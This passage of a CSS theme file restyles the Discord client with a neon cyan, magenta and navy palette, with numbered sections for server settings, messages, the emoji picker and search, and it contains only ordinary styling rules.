-webkit-box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6);
box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6);
}
.theme-dark .lookLink-9FtZy-.colorPrimary-3b3xI6 {
color: #ea00d9;
}
.theme-dark .lookLink-9FtZy-.colorPrimary-3b3xI6:hover .contents-18-Yxp {
background-image: linear-gradient(0deg,transparent,transparent 1px,#ea00d9 0,#ea00d9 2px,transparent 0);
}
.theme-dark .giftIcon-2Pjbiy {
color: #0abdc6;
}
.theme-dark .giftIcon-2Pjbiy:hover {
color: #ea00d9;
}
/* 3.1.1.1. Nitro Gift */
.theme-dark .headerIcon-1OW_re, .theme-light .closeIcon-1Te9hO, .theme-light .headerIcon-1OW_re {
color: #ea00d9;
}
.theme-dark .colorPrimary-3hws2f, .theme-light .colorPrimary-3hws2f {
color: #0abdc6;
}
.theme-dark .activeBreadcrumb-p6aw-F {
color: #0abdc6;
}
.theme-dark .breadcrumbWrapper-WmDjgG {
color: rgba(10, 189, 198, .6);
}
.theme-dark .option-1l2vXE {
background-color: #000b1e;
}
.theme-dark .price-3dKlQv {
color: #0abdc6;
}
.theme-dark .interval-bfFUiQ {
color: rgba(10, 189, 198, .6);
}
.theme-dark .lookFilled-1Gx00P.colorPrimary-3b3xI6 {
color: #0abdc6;
background-color: #133e7c;
}
.theme-dark .lookFilled-1Gx00P.colorPrimary-3b3xI6:hover {
background-color: #711c91;
}
.theme-dark .backButtonColor-1zIPlh {
color: #ea00d9;
}
.theme-dark .annualDiscount-1VxngV, .theme-light .annualDiscount-1VxngV {
background-color: #00ff00;
color: #000b1e;
}
.price-1rEl-z {
color: #ea00d9;
background-color: #fff;
}
.theme-dark .backButtonColor-N09dXJ {
color: #ea00d9;
}
.lookOutlined-3sRXeN.colorBrand-3pXr91 {
color: #0abdc6;
background-color: #133e7c;
border: none;
}
.lookOutlined-3sRXeN.colorBrand-3pXr91:hover {
background-color: #711c91;
}
/* 3.1.2. Invite friends */
.theme-dark .inviteRowName-1tVaxu {
color: #0abdc6;
}
.lookOutlined-3sRXeN.colorGreen-29iAKY {
color: #0abdc6;
background-color: #133e7c;
border: none;
}
.theme-dark .checkBoxLabel-4PWfpk, .theme-dark .footerText-2a7NxZ, .theme-dark .subText-bCySlS {
color: #0abdc6;
}
/* 3.1.3 Server Settings */
/* 3.1.3.1 General */
.theme-dark .avatarUploader-3XDtmn .removeButton-1hcZyG {
color: #ff0000;
}
.theme-dark .avatarUploader-3XDtmn .removeButton-1hcZyG:hover {
color: #ea00d9;
}
.theme-dark .avatarUploaderIndicator-2G-aIZ {
background-color: #0abdc6;
}
.lookOutlined-3sRXeN.colorWhite-rEQuAQ {
color: #0abdc6;
background-color: #133e7c;
border: none;
}
.lookOutlined-3sRXeN.colorWhite-rEQuAQ:hover {
background-color: #711c91;
}
.theme-dark .closeButton-1tv5uR {
border-color: #0abdc6;
}
.theme-dark .closeButton-1tv5uR:hover {
background-color: rgba(113, 28, 145, .7);
}
#app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.vertical-V37hAW.flex-1O1GKY.directionColumn-35P_nr.da-vertical.da-flex.da-directionColumn.spacer-1fA9zc.da-spacer > div:nth-child(2) > div:nth-child(3) > div > div.contentRegion-3nDuYy.da-contentRegion > div > div > div > div.toolsContainer-1edPuj.da-toolsContainer > div > div > div.closeButton-1tv5uR.da-closeButton > svg > g > path.fill {
fill: #0abdc6;
}
.theme-dark .keybind-KpFkfr {
color: #0abdc6;
}
.input-cIJ7To.focused-1mmYsC, .input-cIJ7To:focus {
border-color: #0abdc6;
}
.lookGhost-2Fn_0-.colorGrey-2DXtkV {
color: #0abdc6;
background-color: #133e7c;
}
.lookGhost-2Fn_0-.colorBrand-3pXr91 {
color: #0abdc6;
background-color: #711c91;
}
.css-548n9r-singleValue {
color: #0abdc6;
}
.css-181m2lf-menu {
background-color: #000b1e;
border-color: #0abdc6;
}
.themeDefault-24hCdX.valueChecked-m-4IJZ {
background-color: #711c91;
}
.size-3rFEHg:after {
background-color: #0abdc6;
}
.themeDefault-24hCdX {
background-color: #133e7c;
}
/* 3.1.3.1.1 Region chooser */
.bda-dark .regionSelectModal-12e-57 {
background: #091833;
}
.regionSelectModal-12e-57 .regionSelectModalHeader-21khC1 {
color: #0abdc6;
}
.bda-dark .regionSelectModal-12e-57 .regionSelectModalOption-2DSIZ3 {
background: #000b1e;
border: 2px solid #133e7c;
}
.regionSelectModal-12e-57 .regionSelectModalFooter-20C5iA {
color: #0abdc6;
}
/* 3.1.3.2 Registry */
#app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.vertical-V37hAW.flex-1O1GKY.directionColumn-35P_nr.da-vertical.da-flex.da-directionColumn.spacer-1fA9zc.da-spacer > div:nth-child(2) > div:nth-child(3) > div > div.contentRegion-3nDuYy.da-contentRegion > div.toolsContainer-1edPuj.da-toolsContainer > div > div > div.closeButton-1tv5uR.da-closeButton > svg > g > path.fill {
fill: #0abdc6;
}
.theme-dark .quickSelect-3BxO0K {
color: #0abdc6;
}
.theme-dark .popoutList-T9CKZQ {
background: #091833;
}
#app-mount > div:nth-child(4) > div.theme-dark.popouts-2bnG9Z.da-popouts > div > div > div.scrollerWrap-2lJEkd.firefoxFixScrollFlex-cnI2ix.da-scrollerWrap.da-firefoxFixScrollFlex.scrollerThemed-2oenus.da-scrollerThemed.themeGhostHairline-DBD-2d.scrollerTrack-1ZIpsv.da-scrollerTrack > div > div.flex-1xMQg5.flex-1O1GKY.da-flex.da-flex.horizontal-1ae9ci.horizontal-2EEEnY.flex-1O1GKY.directionRow-3v3tfG.justifyStart-2NDFzi.alignCenter-1dQNNs.noWrap-3jynv6.selectableItem-1MP3MQ.da-selectableItem.selected-31soGA.da-selected {
color: #0abdc6 !important;
background: #711c91 !important;
}
#app-mount > div:nth-child(4) > div.theme-dark.popouts-2bnG9Z.da-popouts > div > div > div.scrollerWrap-2lJEkd.firefoxFixScrollFlex-cnI2ix.da-scrollerWrap.da-firefoxFixScrollFlex.scrollerThemed-2oenus.da-scrollerThemed.themeGhostHairline-DBD-2d.scrollerTrack-1ZIpsv.da-scrollerTrack > div > div.flex-1xMQg5.flex-1O1GKY.da-flex.da-flex.horizontal-1ae9ci.horizontal-2EEEnY.flex-1O1GKY.directionRow-3v3tfG.justifyStart-2NDFzi.alignCenter-1dQNNs.noWrap-3jynv6.selectableItem-1MP3MQ.da-selectableItem.selected-31soGA.da-selected > div.flex-1xMQg5.flex-1O1GKY.da-flex.da-flex.horizontal-1ae9ci.horizontal-2EEEnY.flex-1O1GKY.directionRow-3v3tfG.justifyStart-2NDFzi.alignStretch-DpGPf3.wrap-ZIn9Iy.marginReset-236NPn.da-marginReset > svg > g > polyline {
stroke: #00ff00 !important;
}
.theme-dark .selectableItem-1MP3MQ {
color: #0abdc6;
}
.theme-dark .selectableItem-1MP3MQ:hover {
background-color: rgba(19, 62, 124, .6)
}
.theme-dark .popoutListEmpty-voOEBJ {
color: #0abdc6;
}
.theme-dark .headerClickable-2IVFo9, .theme-dark .headerDefault-1wrJcN {
background-color: rgba(19, 62, 124, .2);
color: #0abdc6;
}
.theme-dark .auditLog-3jNbM6 {
color: #0abdc6;
border-color: rgba(19, 62, 124, .5);
}
.theme-dark .userHook-3AdCBF {
color: #ea00d9;
}
.theme-dark .auditLog-3jNbM6 strong {
color: #ea00d9;
}
.theme-dark .timestamp-1mruiI {
color: rgba(10, 189, 198, .6);
}
.theme-dark .expandForeground-1nZ4VR {
stroke: rgba(10, 189, 198, .6);
}
.theme-dark .headerExpanded-CUEwZ5 {
background-color: rgba(0, 11, 30, .6);
color: #0abdc6;
}
.theme-dark .changeDetails-bk98pu {
background-color: rgba(0, 11, 30, .2);
}
.theme-dark .divider-1pnAR2 {
background-color: rgba(19, 62, 124, .6);
}
.theme-dark .auditLog-3jNbM6:hover .expandForeground-1nZ4VR {
stroke: #0abdc6;
}
/* 3.1.3.3 Roles & Emoji */
#app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.vertical-V37hAW.flex-1O1GKY.directionColumn-35P_nr.da-vertical.da-flex.da-directionColumn.spacer-1fA9zc.da-spacer > div:nth-child(2) > div:nth-child(3) > div > div.contentRegion-3nDuYy.da-contentRegion > div > div > div > div.contentColumn-2hrIYH.da-contentColumn.contentColumnMinimal-2iX-kP.da-contentColumnMinimal > div > div > div > div > div > div.flex-1xMQg5.flex-1O1GKY.da-flex.da-flex.horizontal-1ae9ci.horizontal-2EEEnY.flex-1O1GKY.directionRow-3v3tfG.justifyStart-2NDFzi.alignStart-H-X2h-.noWrap-3jynv6 > div.flexChild-faoVW3.da-flexChild.switchEnabled-V2WDBB.switch-3wwwcV.da-switchEnabled.da-switch.valueChecked-m-4IJZ.value-2hFrkk.sizeDefault-2YlOZr.size-3rFEHg.themeDefault-24hCdX {
background-color: #711c91 !important;
}
.theme-dark .card-FDVird:before {
background-color: rgba(19, 62, 124, .6);
border-color: rgba(10, 189, 198, .6);
}
.theme-dark .emojiRow-zIc7ZX {
-webkit-box-shadow: 0 1px 0 0 rgba(19, 62, 124, .3);
box-shadow: 0 1px 0 0 rgba(19, 62, 124, .3);
}
.theme-dark .emojiAliasInput-1y-NBz .emojiInput-1aLNse {
background-color: #091833;
}
/* 3.1.3.4 Webhooks */
.theme-dark .lookOutlined-3sRXeN.colorPrimary-3b3xI6 {
color: #0abdc6;
background-color: #133e7c;
border: none;
}
.theme-dark .lookOutlined-3sRXeN.colorPrimary-3b3xI6:hover {
background-color: #711c91;
}
.theme-dark .hiddenMessage-1iiFV5, .theme-dark .inputDefault-A2ud2y {
color: #ea00d9;
}
.lookGhost-2Fn_0-.colorGrey-2DXtkV:hover {
background-color: #711c91;
}
.lookLink-9FtZy-.colorGrey-2DXtkV {
color: #ff0000;
}
.lookLink-9FtZy-.colorGrey-2DXtkV:hover .contents-18-Yxp {
background-image: linear-gradient(0deg,transparent,transparent 1px,#ff0000 0,#ff0000 2px,transparent 0);
}
.theme-dark .button-2CgfFz {
background-color: #133e7c;
-webkit-box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 1px 5px 0 rgba(0,0,0,.3);
box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 1px 5px 0 rgba(0,0,0,.3);
}
.theme-dark .button-2CgfFz:hover {
background-color: #711c91;
-webkit-box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 1px 5px 0 rgba(0,0,0,.3);
box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 1px 5px 0 rgba(0,0,0,.3);
}
/* 3.1.3.5 Nitro Boost Status */
#app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.vertical-V37hAW.flex-1O1GKY.directionColumn-35P_nr.da-vertical.da-flex.da-directionColumn.spacer-1fA9zc.da-spacer > div:nth-child(2) > div:nth-child(3) > div > div.sidebarRegion-VFTUkN.da-sidebarRegion > div > div > div > div > div:nth-child(11) {
color: #ea00d9 !important;
background: none !important;
}
.theme-dark .background-3xPPFc {
color: #000b1e;
}
.theme-dark .tierInProgress-3mBoXq {
background-color: #133e7c;
}
.theme-dark .tierHeaderLocked-1a2opw {
background-color: #000b1e;
color: #0abdc6;
}
.theme-dark .tierLock-1oFMOZ {
color: #133e7c;
}
.theme-dark .tierBody-x9kBBp {
background-color: #133e7c;
color: #0abdc6;
}
/* 3.1.3.6 Users administration*/
.theme-dark .pruneLink-3V7wes {
color: #ff0000;
}
.theme-dark .member-1q7VfX .name-8yzEIY {
color: #0abdc6;
}
.theme-dark .member-1q7VfX .tag-1YGWN9 {
color: rgba(10, 189, 198, .6);
}
.itemBase-tz5SeC.danger-2dXSTE, .itemBase-tz5SeC.danger-2dXSTE:hover {
color: #ff0000;
}
.theme-dark .member-1q7VfX .overflowIconFg-QMRRFI {
fill: #0abdc6;
}
.checkbox-3kaeSU .checkboxInner-3yjcPe .checkboxElement-1qV33p:checked+span {
background-color: #711c91;
border-color: #711c91;
}
.checkbox-3kaeSU .checkboxInner-3yjcPe .checkboxElement-1qV33p:checked+span:after {
border-color: #00ff00;
}
.theme-dark .actionButton-VzECiy {
border-color: #0abdc6;
color: #0abdc6;
background: transparent;
}
.theme-dark .autocompleteArrow-Zxoy9H, .theme-dark .autocompleteHeaderBackground-30T70q {
background-color: #000b1e;
}
.theme-dark .container-VSDcQc .headerText-3i6A8K {
color: #0abdc6;
}
.theme-dark .container-VSDcQc .input-1ppKdn {
color: #0abdc6;
}
.theme-dark .row-rrHHJU.selected-1pIgLL {
background: -webkit-gradient(linear,left top,right top,from(#133e7c),to(#133e7c));
background: linear-gradient(90deg,#133e7c,#133e7c);
}
.theme-dark .container-VSDcQc .sectionTag-pXyto9 {
background-color: #091833;
color: #0abdc6;
}
.theme-dark .member-1q7VfX .roleWrapper-1Hde_V {
color: #0abdc6;
}
/* 3.1.3.7 Delete server */
.cardWarning-2yPNAa {
background-color: rgba(245, 120, 0, .5);
border-color: rgba(245, 120, 0, .5);
}
.white-1VR_aZ {
color: #0abdc6;
}
.lookFilled-1Gx00P.colorRed-1TFJan {
color: #fff;
background-color: #ff0000;
}
.lookFilled-1Gx00P.colorRed-1TFJan:hover {
background-color: rgba(255,0,0,.7);
}
/* 3.1.4 Notification settings */
.css-mhi7q3-placeholder {
color: #0abdc6;
}
.theme-dark .guildName-3WI6ml, .theme-dark .override-2YgiXd, .theme-dark .overrideHighlight-YPcBxt {
color: rgba(10, 189, 198, .8);
}
/* 3.2 Tips & New messages */
.channelNotices-41mJbj .channelNotice-1-XFjC.quickswitcher-35bYg4 {
background: #000b1e url(/assets/8fdb69b7684b8e1ecb3fdde909daca41.svg) no-repeat center 35px;
}
.channelNotices-41mJbj .channelNotice-1-XFjC .message-3SOT5P .btn-11C5_u {
color: #0abdc6;
background-color: #133e7c;
}
.channelNotices-41mJbj .channelNotice-1-XFjC .message-3SOT5P {
color: #133e7c;
}
.bar-30k2ka {
color: #0abdc6;
}
.unread-1xRYoj:hover {
background-color: #711c91;
opacity: .9;
}
/* 3.3 Connection */
.rtcConnectionQualityFine-2J6i8z .ping-2NgC8E {
color: #00ff00;
}
.rtcConnectionStatusConnected-VRZDjy {
color: #00ff00;
}
/* 3.3.1 Connection info */
.theme-dark .container-2x5lvQ .header-2C89wJ {
background-color: #000b1e;
}
.white-3xi-nx {
color: #0abdc6;
}
.theme-dark .container-2x5lvQ section {
background-color: #091833;
}
.theme-dark .container-2x5lvQ section p {
color: #0abdc6;
}
.theme-dark .container-2x5lvQ section strong {
color: #ea00d9;
}
.theme-dark .secured-1Yihly {
color: #00ff00;
}
.theme-dark .debugButton-1Zec0y {
color: #ea00d9;
}
.theme-dark .item-30Gz8g {
color: #0abdc6;
}
.theme-dark .itemValue-JNy0LV {
color: rgba(10, 189, 198, .6);
}
/* 4. Message View */
.dividerRed-MKoLlr {
color: #ea00d9;
}
.dividerRed-MKoLlr .dividerContent-2L12VI:after, .dividerRed-MKoLlr .dividerContent-2L12VI:before {
background-color: #ea00d9;
}
.isUnread-3Ef-o9 {
border-color: #ea00d9;
}
.isUnread-3Ef-o9 .content-1o0f9g {
color: #ea00d9;
}
.unreadPill-2HyYtt {
color: #091833;
background-color: #ea00d9;
}
.unreadPillCapStroke-7rkHbg {
color: #ea00d9;
fill: #ea00d9;
}
.theme-dark .wrapper-3WhCwL {
color: #ea00d9;
background-color: rgba(113, 28, 145, .1);
}
.theme-dark .wrapperHover-1GktnT:hover {
color: #ea00d9;
background-color: rgba(113, 28, 145, .5);
}
.theme-dark .edited-DL9ECl {
color: rgba(10, 189, 198, .7);
}
.newMessagesBar-265mhP {
background-color: #133e7c;
}
.newMessagesBar-265mhP:hover {
background-color: #711c91;
}
.barButtonBase-2uLO1z {
color: #0abdc6;
}
/* 4.1. Message Buttons */
.barButtonBase-3UKlW2 {
color: #0abdc6;
}
.jumpToPresentBar-9P20AM:hover {
background: #711c91;
}
.newMessagesBar-mujexs {
background-color: #133e7c;
}
.newMessagesBar-mujexs:hover {
background-color: #711c91;
}
.hasMore-3e72_v {
-webkit-box-shadow: none;
box-shadow: none;
color: #0abdc6;
background-color: #133e7c;
}
.hasMore-3e72_v:hover {
background-color: #711c91;
}
/* 4.2. Embed views */
.theme-dark .embedInner-1-fpTo {
background-color: rgba(19, 62, 124, .3);
border-color: rgba(19, 62, 124, .6);
}
.theme-dark .embedPill-1Zntps {
background-color: #0abdc6;
}
.theme-dark .embedAuthorName-3mnTWj, .theme-dark .embedFieldName-NFrena, .theme-dark .embedTitle-3OXDkz {
color: rgba(234, 0, 217, .8) !important;
}
.theme-dark .embedDescription-1Cuq9a, .theme-dark .embedFieldValue-nELq2s, .theme-dark .embedFooterText-28V_Wb, .theme-dark .embedProvider-3k5pfl {
color: #0abdc6;
}
.embedProvider-3k5pfl {
color: #0abdc6 !important;
}
.theme-dark .wrapper-35wsBm {
background: rgba(0, 11, 30, .5);
border-color: rgba(19, 62, 124, .8);
}
.theme-dark .guildName-2hvnt_ {
color: #0abdc6;
}
.theme-dark .guildDetail-1nRKNE {
color: rgba(10, 189, 198, .6);
}
.theme-dark .guildIconImage-3qTk45 {
background-color: #133e7c;
}
.guildNameExpired-2Hp80V {
color: #ff0000;
}
.theme-dark .guildIconExpired-2Qcq05 {
background-color: rgba(19, 62, 124, .6);
}
.theme-dark .attachment-33OFj0 {
border-color: rgba(19, 62, 124, .8);
background-color: rgba(0, 11, 30, .5);
}
.metadata-3WGS0M {
color: #0abdc6;
}
.cancelButton-3hVEV6, .downloadButton-23tKQp {
color: #0abdc6;
}
.cancelButton-3hVEV6:hover, .downloadButton-23tKQp:hover {
color: #ea00d9;
}
/* 4.2.1 Audio */
.theme-dark .wrapperAudio-1jDe0Q {
background-color: rgba(0, 11, 30, .5);
border-color: rgba(19, 62, 124, .6);
}
.audioMetadata-3zOuGv .metadataSize-2UOOLK {
color: #0abdc6;
}
.audioMetadata-3zOuGv .metadataIcon-2FyCKU {
color: #0abdc6;
}
.audioMetadata-3zOuGv .metadataIcon-2FyCKU:hover {
color: #ea00d9;
opacity: 1;
}
.audioControls-2HsaU6, .videoControls-2kcYic {
background-color: rgba(19, 62, 124, .3);
}
.wrapper-2TxpI8 {
color: #0abdc6;
}
.mediaBarWrapper-3D7r67, .mediaBarWrapper-3D7r67:after, .mediaBarWrapper-3D7r67:before {
background-color: rgba(0, 11, 30, 1);
}
.mediaBarGrabber-1FqnbN, .mediaBarProgress-1xaPtl, .mediaBarProgress-1xaPtl:after, .mediaBarProgress-1xaPtl:before {
background-color: #711c91;
}
.buffer-26XPkd, .buffer-26XPkd:after, .buffer-26XPkd:before {
background-color: #0abdc6;
}
/* 4.3 Quotes */
.theme-dark .isMentioned-N-h9aa {
background: rgba(19, 62, 124, .5);
}
.isMentionedCozy-3isp7y:after {
background: rgba(255, 255, 0, .8);
border-left: 4px solid rgba(255, 255, 0, .1);
}
/* 4.4. Edit & Delete */
.theme-dark .operations-36ENbA {
color: rgba(10, 189, 198, .6);
}
.operations-36ENbA>a {
color: #ea00d9;
}
.theme-dark .message-2qRu38 {
background-color: rgba(113, 28, 145, .3);
-webkit-box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 2px 10px 0 rgba(0,0,0,.2);
box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 2px 10px 0 rgba(0,0,0,.2);
}
/* 4.5. Code */
.theme-dark .hljs-addition, .theme-dark .hljs-keyword, .theme-dark .hljs-selector-tag {
color: #00ff00;
}
.theme-dark .hljs-doctag, .theme-dark .hljs-literal, .theme-dark .hljs-meta .hljs-meta-string, .theme-dark .hljs-number, .theme-dark .hljs-regexp, .theme-dark .hljs-string {
color: #f57800;
}
.theme-dark .username-_4ZSMR {
color: #ea00d9;
}
.theme-dark .hljs-attr, .theme-dark .hljs-attribute, .theme-dark .hljs-class .hljs-title, .theme-dark .hljs-template-variable, .theme-dark .hljs-type, .theme-dark .hljs-variable {
color: #00ff00;
}
.theme-dark .hljs-bullet, .theme-dark .hljs-link, .theme-dark .hljs-meta, .theme-dark .hljs-meta .hljs-keyword, .theme-dark .hljs-selector-attr, .theme-dark .hljs-selector-pseudo, .theme-dark .hljs-subst, .theme-dark .hljs-symbol {
color: #ff0000;
}
.theme-dark .hljs-comment, .theme-dark .hljs-quote {
color: rgba(10, 189, 198, .4);
}
.theme-dark .blockquoteDivider-2hH8H6 {
background-color: #711c91;
}
.blockquoteContainer-U5TVEi blockquote {
background-color: #000b1e;
}
.theme-dark .dividerEnabled-2TTlcf {
border-bottom-color: rgba(19, 62, 124, .3);
}
/* 4.6. Typing */
.theme-dark .base-gE7OpD span {
color: #0abdc6;
}
/* 5. Message Box */
/* 5.1. File modal */
.uploadModal-2ifh8j {
background-color: #091833;
}
.uploadModal-2ifh8j .inner-3nWsbo {
color: #0abdc6;
}
.uploadModal-2ifh8j .inner-3nWsbo {
border: 2px dashed #ea00d9;
color: #0abdc6;
}
.uploadModal-2ifh8j .footer-3mqk7D {
background-color: #000b1e;
}
.lookLink-9FtZy-.colorWhite-rEQuAQ {
color: #ff0000;
}
.theme-dark .checked-3_4uQ9 {
border-color: #0abdc6 !important;
background-color: #711c91;
}
.theme-dark .checkbox-1ix_J3 {
border-color: #133e7c !important;
}
.theme-brand .inner-zqa7da {
background-color: #133e7c;
}
.theme-brand .textArea-2Spzkt {
color: #0abdc6;
}
.lookInverted-2D7oAl.colorBrand-3pXr91 {
color: #0abdc6;
background-color: #133e7c;
}
.lookInverted-2D7oAl.colorBrand-3pXr91:hover {
background-color: #711c91;
}
#app-mount > div:nth-child(4) > div:nth-child(2) > div.modal-3c3bKg.da-modal > div.inner-1ilYF7.da-inner > div > div.footer-3mqk7D.da-footer.hasSpoilers-1IRtQC.da-hasSpoilers > label > div.checkbox-1ix_J3.flexCenter-3_1bcw.flex-1O1GKY.justifyCenter-3D2jYp.alignCenter-1dQNNs.da-checkbox.da-flexCenter.da-flex.da-justifyCenter.da-alignCenter.box-mmYMsp.checked-3_4uQ9.da-checked > svg > g > polyline {
stroke: #00ff00;
}
.theme-dark .uploadModal-2ifh8j {
background-color: #091833;
}
/* 5.2. Nitro */
.theme-dark .giftBlurb-4VKZWm, .theme-dark .trialNote-wEO1RW, .theme-dark .trialText-2gR3-S {
color: #0abdc6;
}
.theme-dark .yearlyDiscount-CT_3BQ, .theme-light .yearlyDiscount-CT_3BQ {
background-color: #133e7c;
color: #00ff00;
}
/* 5.3. Gifs */
.theme-dark .autocomplete-1vrmpx {
background-color: #000b1e;
}
.categoryLoader-1UbzZM {
background-color: #091833;
}
.theme-dark .container-cMG81i {
background-color: #133e7c;
}
.theme-dark .backButton-JyKGC1 {
color: #0abdc6;
}
.theme-dark .backButton-JyKGC1:hover {
color: #ea00d9;
}
/* 5.4. Emojis */
.emojiPicker-3m1S-j {
background-color: #000b1e !important;
border: 1px solid #0abdc6;
}
.lightTheme-3LGLQs.container-2XeR5Z {
background-color: #133e7c !important;
}
.lightTheme-3LGLQs .input-1Rv96N {
color: #0abdc6 !important;
}
.lightTheme-3LGLQs .icon-3cZ1F_ {
color: #0abdc6 !important;
}
.diversitySelector-tmmMv0 .popout-2nUePc {
background: #000b1e !important;
border: 1px solid #0abdc6 !important;
}
.diversitySelector-tmmMv0 .popout-2nUePc .item-16cXuq:hover {
background-color: #133e7c;
}
.emojiPicker-3m1S-j .dimmer-3iH-5D.visible-3k45bQ {
background-color: #000b1e !important;
}
.emojiPicker-3m1S-j .category-2U57w6 {
color: #ea00d9;
background: #000b1e !important;
}
.emojiPicker-3m1S-j .categories-1feg4n {
border-top: 1px #133e7c !important;
}
.emojiPicker-3m1S-j .categories-1feg4n .item-16cXuq.selected-39BZ4S {
border-bottom-color: #ea00d9;
}
.bda-dark #bda-qem button {
background: #000b1e;
border-left: 1px solid #0abdc6;
box-shadow: #0abdc6 1px 0 0 0;
color: #0abdc6;
}
.bda-dark #bda-qem button:hover {
background-color: #133e7c;
}
.bda-dark #bda-qem button.active {
background-color: #091833;
}
.bda-dark .emojiPicker-3m1S-j .header-1nkwgG .searchBar-2pWH0_ {
background-color: #133e7c;
}
.bda-dark #bda-qem {
border-bottom: 1px solid #0abdc6!important;
background: #000b1e;
}
.bda-dark #bda-qem-favourite-container, .bda-dark #bda-qem-twitch-container {
background-color: #000b1e;
}
#bda-qem button.active, #bda-qem button.active:hover {
background-color: #711c91;
}
#bda-qem button {
border-left: 1px solid #000b1e;
background: #133e7c;
color: #0abdc6;
}
#bda-qem button:hover {
background: rgba(19, 62, 124, .6);
}
#bda-qem-twitch-container, #bda-qem-favourite-container {
background-color: #000b1e;
}
/* 5.5. @here and @everyone warnings */
.theme-dark .contentTitle-2tG_sM {
color: #0abdc6;
}
.theme-dark .contentTitle-2tG_sM strong {
color: #ea00d9;
}
.theme-dark .selectorSelected-1_M1WV {
background-color: #133e7c;
}
.theme-dark .content-Qb0rXO {
color: #ea00d9;
}
.theme-dark .description-11DmNu, .theme-dark .descriptionUsername-J_75O8 {
color: #0abdc6;
}
.theme-dark .descriptionDiscriminator-3vUOCc {
color: rgba(10, 189, 198, .6);
}
.theme-dark .body-2iXqIL {
color: #0abdc6;
}
.theme-dark .header-3_S6dz {
color: #ea00d9;
}
.theme-dark .everyonePopout-nEbJY3 {
background-color: #091833;
-webkit-box-shadow: 0 2px 10px 0 rgba(10, 189, 198, .6);
box-shadow: 0 2px 10px 0 rgba(10, 189, 198, .6);
}
.theme-dark .footer-2aTx0s {
background-color: #000b1e;
color: #0abdc6;
fill: #0abdc6 !important;
}
#app-mount > div.popouts-2bnG9Z.da-popouts > div.noArrow-2foL9g.da-noArrow.noShadow-3pu20z.da-noShadow.popout-2iWAc-.da-popout.popoutTopLeft-3B0mFf > div > form > div.footer-2aTx0s.da-footer > svg > g > path {
fill: #0abdc6 !important;
}
.theme-dark .buttonHint-2OxJB8 strong {
color: #ea00d9;
}
.theme-dark .buttonHint-2OxJB8 {
color: #0abdc6;
}
/* 6. Top bar */
/* 6.1. Pinned messages */
.theme-dark .header-ykumBX {
background-color: #091833;
}
.theme-dark .messagesPopout-24nkyi {
background-color: #000b1e;
}
.theme-dark .messagesPopoutWrap-1MQ1bW {
border: 1px solid rgba(10, 189, 198,.6);
}
.theme-dark .messageGroupWrapper-o-Zw7G {
border-color: rgba(19, 62, 124,.6);
background-color: #091833;
}
.theme-dark .messageGroupWrapper-o-Zw7G:hover {
border-color: rgba(10, 189, 198,.6);
}
.theme-dark .messageGroupWrapper-o-Zw7G:hover .actionButtons-1sUUug {
-webkit-box-shadow: 0 0 6px 4px #000b1e;
box-shadow: 0 0 6px 4px #000b1e;
background-color: #000b1e;
}
.theme-dark .jumpButton-3DTcS_ {
background-color: #133e7c;
color: #0abdc6;
}
.theme-dark .jumpButton-3DTcS_:hover {
color: #0abdc6;
background-color: #711c91;
}
.theme-dark .header-ykumBX .title-3pkaKd {
color: #0abdc6;
}
.theme-dark .emptyPlaceholder-1zh-Eu .body-bvcIjN {
color: #0abdc6;
}
.theme-dark .footer-1kmXd4 {
background-color: #091833;
}
/* 6.2. Search */
.theme-dark .container-3ayLPN {
background-color: #091833;
}
.theme-dark .elevationBorderHigh-2WYJ09 {
-webkit-box-shadow: 0 0 0 1px rgba(10, 189, 198,.6), 0 2px 10px 0 rgba(0,0,0,.2);
box-shadow: 0 0 0 1px rgba(10, 189, 198,.6), 0 2px 10px 0 rgba(0,0,0,.2);
}
.theme-dark .resultsGroup-r_nuzN .header-2N-gMV, .theme-dark .resultsGroup-r_nuzN .plusIcon-v0BTrL, .theme-dark .resultsGroup-r_nuzN .searchClearHistory-2cSSMO, .theme-dark .resultsGroup-r_nuzN .searchLearnMore-3SQUAj a {
color: #0abdc6;
}
.theme-dark .searchOption-zQ-1l6 .filter-3Y_im- {
color: #0abdc6;
}
.theme-dark .searchOption-zQ-1l6 .answer-1n6g43 {
color: rgba(10, 189, 198, 0.5);
}
.theme-dark .resultsGroup-r_nuzN .header-2N-gMV, .theme-dark .resultsGroup-r_nuzN .plusIcon-v0BTrL, .theme-dark .resultsGroup-r_nuzN .searchClearHistory-2cSSMO, .theme-dark .resultsGroup-r_nuzN .searchLearnMore-3SQUAj a {
color: #0abdc6;
}
.theme-dark .resultsGroup-r_nuzN:hover .header-2N-gMV:hover, .theme-dark .resultsGroup-r_nuzN:hover .plusIcon-v0BTrL:hover, .theme-dark .resultsGroup-r_nuzN:hover .searchClearHistory-2cSSMO:hover, .theme-dark .resultsGroup-r_nuzN:hover .searchLearnMore-3SQUAj:hover a {
color: #ea00d9;
}
.theme-dark .option-96V44q:after {
background: none;
}
.theme-dark .option-96V44q .answer-1n6g43, .theme-dark .option-96V44q .nonText-3CRkO0, .theme-dark .option-96V44q strong {
color: #ea00d9;
}
.theme-dark .option-96V44q.selected-rZcOL- {
background-color: rgba(19, 62, 124, .6);
}
.theme-dark .option-96V44q.selected-rZcOL-:after {
background: none;
}
.theme-dark .focused-2bY0OD {
background-color: #000b1e;
}
.theme-dark .queryContainer-RKFJW- {
color: #0abdc6;
border-bottom-color: rgba(19, 62, 124,.3);
}
.theme-dark .queryContainer-RKFJW- strong {
color: #ea00d9;
}
.theme-dark .option-96V44q .filter-3Y_im- {
color: rgba(10, 189, 198, .7);
}
.theme-dark .dim-1l4L4y span {
background-color: #133e7c;
color: #0abdc6;
}
.theme-dark .keybindShortcut-1BD6Z1 span {
color: #0abdc6;
-webkit-box-shadow: inset 0 -4px 0 rgba(0, 11, 30,.6);
box-shadow: inset 0 -4px 0 rgba(0, 11, 30,.6);
border: 1px solid #091833;
background-color: #133e7c;
}
.theme-dark .option-96V44q.user-O3Czj0 .displayedNick-3xxvzU {
